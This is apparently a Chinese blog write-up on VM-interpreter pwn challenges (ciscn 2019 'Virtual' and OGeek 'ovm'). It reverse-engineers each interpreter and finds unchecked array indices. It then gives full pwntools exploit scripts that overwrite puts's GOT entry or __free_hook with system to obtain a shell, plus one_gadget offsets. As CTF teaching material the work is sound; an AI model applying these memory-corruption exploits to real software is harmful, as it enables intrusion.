感谢南梦师傅博客 南梦爷爷博客
虚拟机保护的pwn
当我们 拿到 一个 虚拟机的 pwn的时候 先看看函数的逻辑
是很多 分支 或者说很多 switch 语句
这样 很大可能说明了 这很有可能是一个 虚拟机 或者是一个 解释器
vm 解释器的 基本认识
寄存器
-
PC
程序计数器,他存放的是一个内存地址,该地址中存放着 下一条 要执行的计算机指令 -
SP
指针寄存器,永远指向当前栈顶。 -
BP
基质指针。也是用于指向栈的某些位置,在调用函数的时候会用到它 -
AX
通用寄存器,我们的虚拟机中,它用于存放一条指令执行后的结果
在程序中 PC
的初始值指向目标代码的 main
函数
指令集
虚拟机定义的时候 会定义一个 全局变量的 枚举类型 里面有我们需要的指令
如 :MOV
,ADD
之类的
通过例题学习
ciscn 2019 华东南 pwn Virtual
题目分析
刚开始的 malloc_all 里面会记录我们的 的输入 的不同段开始的地址 和 对应的 参数个数
例如:stack
在 store 函数中 有个 move 函数 会把我们的输入保存到我们 开始时创建的 对应chunk 中
- 首先输入
name
和instruction
- 让进入到主要函数 以
\n\r\t被分割
将我们 输入的instruction
分为一组一组的指令 - 分别根据 匹配到的指令将 对应的 值 放入
ptr
数组中 - 程序一共有
push
pop
add
sub
mul
div
load
save
这几个指令
分析得到这里是 给虚拟机 布置指令
void __fastcall ins_stack(__int64 some_data, char *ins)
{
int idx; // [rsp+18h] [rbp-18h]
int i; // [rsp+1Ch] [rbp-14h]
const char *part1; // [rsp+20h] [rbp-10h]
_QWORD *ptr; // [rsp+28h] [rbp-8h]
if ( some_data )
{
ptr = malloc_0(8LL * *(some_data + 8));
idx = 0;
for ( part1 = strtok(ins, delim); idx < *(some_data + 8) && part1; part1 = strtok(0LL, delim) )// \n\r\t被分割
//
{
if ( !strcmp(part1, "push") )
{
ptr[idx] = 0x11LL;
}
else if ( !strcmp(part1, "pop") )
{
ptr[idx] = 0x12LL;
}
else if ( !strcmp(part1, "add") )
{
ptr[idx] = 0x21LL;
}
else if ( !strcmp(part1, "sub") )
{
ptr[idx] = 0x22LL;
}
else if ( !strcmp(part1, "mul") )
{
ptr[idx] = 0x23LL;
}
else if ( !strcmp(part1, "div") )
{
ptr[idx] = 0x24LL;
}
else if ( !strcmp(part1, "load") )
{
ptr[idx] = 0x31LL;
}
else if ( !strcmp(part1, "save") )
{
ptr[idx] = 0x32LL;
}
else
{
ptr[idx] = '\xFF';
}
++idx;
}
for ( i = idx - 1; i >= 0 && mov(some_data, ptr[i]); --i )
;
free(ptr);
}
}
mov 函数
signed __int64 __fastcall mov(chunk *data, __int64 ptr)
{
int idx; // [rsp+1Ch] [rbp-4h]
if ( !data )
return 0LL;
idx = data->idx + 1;
if ( idx == data->size )
return 0LL;
*(data->section_ptr + 8LL * idx) = ptr;
data->idx = idx;
return 1LL;
}
- 然后会到另一个函数,给栈上布置参数
- 也是用
\n\r\t被分割
将我们的输入 然后保存在虚拟的栈上
void __fastcall num_stack(__int64 a1, char *data)
{
int v2; // [rsp+18h] [rbp-28h]
int i; // [rsp+1Ch] [rbp-24h]
const char *nptr; // [rsp+20h] [rbp-20h]
_QWORD *ptr; // [rsp+28h] [rbp-18h]
if ( a1 )
{
ptr = malloc_0(8LL * *(a1 + 8));
v2 = 0;
for ( nptr = strtok(data, delim); v2 < *(a1 + 8) && nptr; nptr = strtok(0LL, delim) )
ptr[v2++] = atol(nptr);
for ( i = v2 - 1; i >= 0 && mov(a1, ptr[i]); --i )
;
free(ptr);
}
}
布置指令和参数
IDA 在识别的时候出现错误 没有很好的反汇编
我们就看看汇编代码
如果我们 之前输入的 指令 对应的值 -0x11
还小于 0x21 的话这个时候 会把它当作 index 去找到对应的值
然后让程序跳转到对应的指令去 执行虚拟机指令
漏洞分析
程序 分析到这里 就是一个 简单的 虚拟机结构,但是程序没有对数组的下标进行判断
所以,我们可以看i用这个漏洞向我们需要的一个地方写入值。
利用思路
我们可以先泄露 一个 libc 的值,从而 修改一个 函数的 Got 表的值为
system 或者 为 onegadget 的值
从而让我们能直接利用得到 shell
测试
计算出 1 + 3 的值
根据队列来取值 或调用的参数
然后发现 程序每个 值都是更具 对应chunk 前一个 chunk 中更具 idx 来选取的,发现程序没有对 这个 idx 进行判断
sava(data, offset)
sava 函数对 offset 地址赋值为 data
因为没有验证 offset 的值
我们可以 输入负数修改 data chunk 的信息chunk 的 data_chunk 指针为 got 表 从而下次 push 函数会吧这个地址当作我们的 运行段
load(offset)
保存data 段对应 offset 地址的值
然后用到 save 函数把我们 需要的 libc 地址 保存到对应的 libc 表中
从而得到 shell
修改 puts 为 system
from pwn import *
context.log_level='debug'
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def d(s=''):
gdb.attach(p,s)
# d("b *0x00000000004019FD \n")
p.sendlineafter('name:\n','/bin/sh')
ins = "push push save push load push add push save"
p.sendlineafter('instruction:\n', ins)
offset = -(libc.sym['puts'] - libc.sym['system'])
data_addr=0x000000000404088
data = [data_addr,-3,-12 ,offset ,-12]
payload=""
for i in data:
payload+=str(i)+" "
# d('b *0x0000000000401A75\nb *0x00000000004019C7\nb*0x0000000000401A5D\n')
p.sendlineafter('data:\n',payload)
p.interactive()
Ogeek 线下pwn
题目分析
程序刚开始 先初始化基础值
然后队 memory 赋值
赋值结束 因为 running = 1
所以进入一个 while 循环 依次进行我们输入的 指令的操作
fetch() 函数
相当于依次获得 memory 数组中存放的 函数指令
reg[15] --> idx
获得指令后 进入 execute(memory[rep[15]])
execute() 函数
函数对应所有的指令操作
将输入的 4 字节分成 4组
操作指令 | 参数c | 参数b | 参数a
对应值对应的操作
0x10 --> reg[c] = memory
0x20 --> reg[c] = memory == 0
0x30 --> reg[c] = ::memory[reg[a]]
0x40 --> ::memory[reg[a]] = reg[c] // 存在任意写
0x50 --> stack[reg[13]++] = reg[c]
0x60 --> reg[c] = stack[--reg[13]] // 存在任意读
0x70 --> reg[c] = reg[a] + reg[b]
0x80 --> reg[c] = reg[b] - reg[a]
0x90 --> reg[c] = reg[a] & reg[b]
0xA0 --> reg[c] = reg[a] | reg[b]
0xB0 --> reg[c] = reg[a] ^ reg[b]
0xC0 --> reg[c] = reg[b] << reg[a]
0xD0 --> reg[c] = reg[b] >> reg[a]
0xE0 --> running = 0
0xFF --> running = 0 打印 reg[] 数组中的 所有值
reg[13] = sp (无符号数)
reg[15] = pc (无符号数) --> 指令存储的 memory 的起始位置
因为没有验证 数组的偏移多少
所有我们 可以想办法 构造 数组的 下标为 负数,从而向上读,可以读取到
got表中的值,让通过指令将 得到的 值保存到一个寄存器中
我们对应的 寄存器 reg[10] 对应的是 dd DWORD 型的
因为我们的 程序是 64位的
但是这个 寄存器保存值只能保存 4 字节
想要保存 8 字节的值 我们需要用到两个寄存器。
我们直接用 赋值操作 + 移位 将这个
0x60 操作下的 reg[13] 的值转化为 负数然后保存在对应的寄存器中
通过这个 方法我们可以实现任意读和任意写,
然后要做的 就是想办法去利用它
首先想到的是 得到libc 然后任意写,有个很巧妙的办法
就是 将最后
comment[0] 指针 覆盖为 一个地方 这样 我们 reg 寄存器中存在值在 退出打印的时候可以的得到libc
然后最后的 read 又能 覆盖comment[0] 这个地址保存值
从而 得到shell
有个方法就是
我们可以修改 comment[0] 指针指向 free_hook -0x8
从而可以先 写入 /bin/sh\x00 + p64(system)
这样最后free(comment[0]) 的时候就能 执行 system("/bin/sh\x00")
修改前
修改后
修改 free_hook
布置 “/bin/sh\x00”参数
from pwn import *
context.log_level = 'debug'
exe = './ovm'
elf = ELF(exe)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def d(s=''):
gdb.attach(p, s)
def pwn():
read_offset = libc.sym['read']
system_offset = libc.sym['system']
__free_hook_offset = libc.sym['__free_hook']
offset_free_hook_2_read = __free_hook_offset - read_offset
offset_system_2_read = system_offset - read_offset
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
code = [
0x100d0001, # reg[13] = 1
0x10010008, # reg[0] = 8
0xc00d0d01, # reg[13] = 1<<8 => 0x100
0xc00d0d01, # reg[13] = 0x100<<8 => 0x10000
0x1001003e, # reg[1] = 0x3e
0x700d0d01, # reg[13] = reg[13] + reg[1] = 0x1003e
0x10010000, # reg[1] = 0
0x800D010D, # reg[13] = reg[1] - reg[13] = 0 - 0x1003e = 0xffc2 ----> -0x3e
# stack[-0x3e] = read_got+0x8
0x60030000, # reg[3] = read_got_high_int
0x60040000, # reg[4] = read_got_low_int
0x10020008, # reg[2] = 8
0x10050000+((offset_free_hook_2_read>>16)), # reg[5] = offset_system_2_read_high
0x10060000+(0x10000-(offset_free_hook_2_read>>8)%100-2),
0xc0050502, # reg[5] = reg[5] << 8
0x70050506, # reg[5] = reg[5] + reg[6]
0x10060000+((offset_free_hook_2_read)%0x100-0x8),
0xc0050502, # reg[5] = reg[5] << 8
0x70050506, # reg[5] = reg[5] + reg[6]
0x70040405, # reg[4] = reg[4] + offset -----> free_hook-8
0x80020002, # reg[2] = -8
0x40040002, # memory[-8] = __free_hook - 8 _low
0x10020007,
0x80020002,
0x40030002, # memory[-9] = _free_hook - 8 _high
0xff000000
]
p.sendlineafter("PCPC: ", '0')
p.sendlineafter("SP: ", '0')
p.sendlineafter("CODE SIZE: ", str(len(code)))
# d()
for i in code:
sleep(0.1)
p.sendline(str(i))
# d()
success("read_offset-->"+hex(read_offset))
success("offset_free_hook_2_read-->"+hex(offset_free_hook_2_read))
p.recvuntil("R3: ")
free_hook = int(p.recv(4),16)<<32
p.recvuntil("R4: ")
free_hook += int(p.recv(8),16)+8
success("free_hook-->"+hex(free_hook))
libc_base = free_hook - __free_hook_offset
system = libc.sym['system'] + libc_base
success("system-->"+hex(system))
p.sendlineafter("HOW DO YOU FEEL AT OVM?",'/bin/sh\x00'+p64(system))
p.interactive()
if __name__ == '__main__':
p = process(exe)
pwn()
'''one
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
求师傅的题目下载链接~
我也想学 VMpwn
我也想学 VMpwn